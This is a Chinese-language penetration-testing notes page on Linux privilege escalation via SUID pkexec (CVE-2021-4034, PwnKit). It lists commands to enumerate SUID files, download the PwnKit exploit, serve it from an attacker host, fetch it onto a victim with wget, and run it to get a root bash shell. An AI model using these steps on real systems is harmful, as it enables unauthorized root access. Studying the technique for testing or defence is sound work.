> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-pkexec-linux-privilege-escalation.md). # SUID（Pkexec）- Linux 权限提升 SUID（Pkexec）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。 ## 这是什么 SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。本页具体聚焦于 **SUID（Pkexec）** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。 ## 枚举在运行利用路径之前，先确认本地环境和具体的配置错误。 ```bash find / -perm -4000 -type f 2>/dev/null ``` ## 示例 {% hint style="info" %} 该 **CVE-2021-4034** 中的漏洞（PwnKit） **pkexec** 的 **polkit** 可导致本地 Linux 权限提升。通过对参数进行错误的验证，攻击者可以以 root 权限执行代码。这个严重漏洞很容易被利用，影响许多发行版，并且需要紧急更新 polkit。 {% endhint %} {% embed url="" %} ### 利用 SUID 二进制文件的步骤 **识别启用了 SUID 位的文件** 要搜索具有 SUID 位的文件（允许以所有者权限执行，通常 `root`），请使用以下命令： ```bash find / -perm -4000 2>/dev/null ``` 在结果中，找出存在漏洞的二进制文件 **`pkexec`**.

## 漏洞利用 **在攻击机上下载利用程序** 在攻击机上，下载利用脚本： ```bash curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit ``` **将利用程序传输到受害机** 要传输利用程序，请在攻击机上运行一个简单的 HTTP 服务器： ```bash python3 -m http.server 80 ``` 在受害机上，下载该文件并授予执行权限： ```bash wget http://10.10.10.10/PwnKit ``` ```bash chmod +x PwnKit ```

运行利用文件准备好后，你就可以以 root 权限执行命令。例如： * 要显示用户 ID（`id`): ```bash ./PwnKit '' ``` ```bash ./PwnKit 'id' ```

* 要获得一个具有 root 权限的 bash 会话： ```bash ./PwnKit 'bash -p' ```

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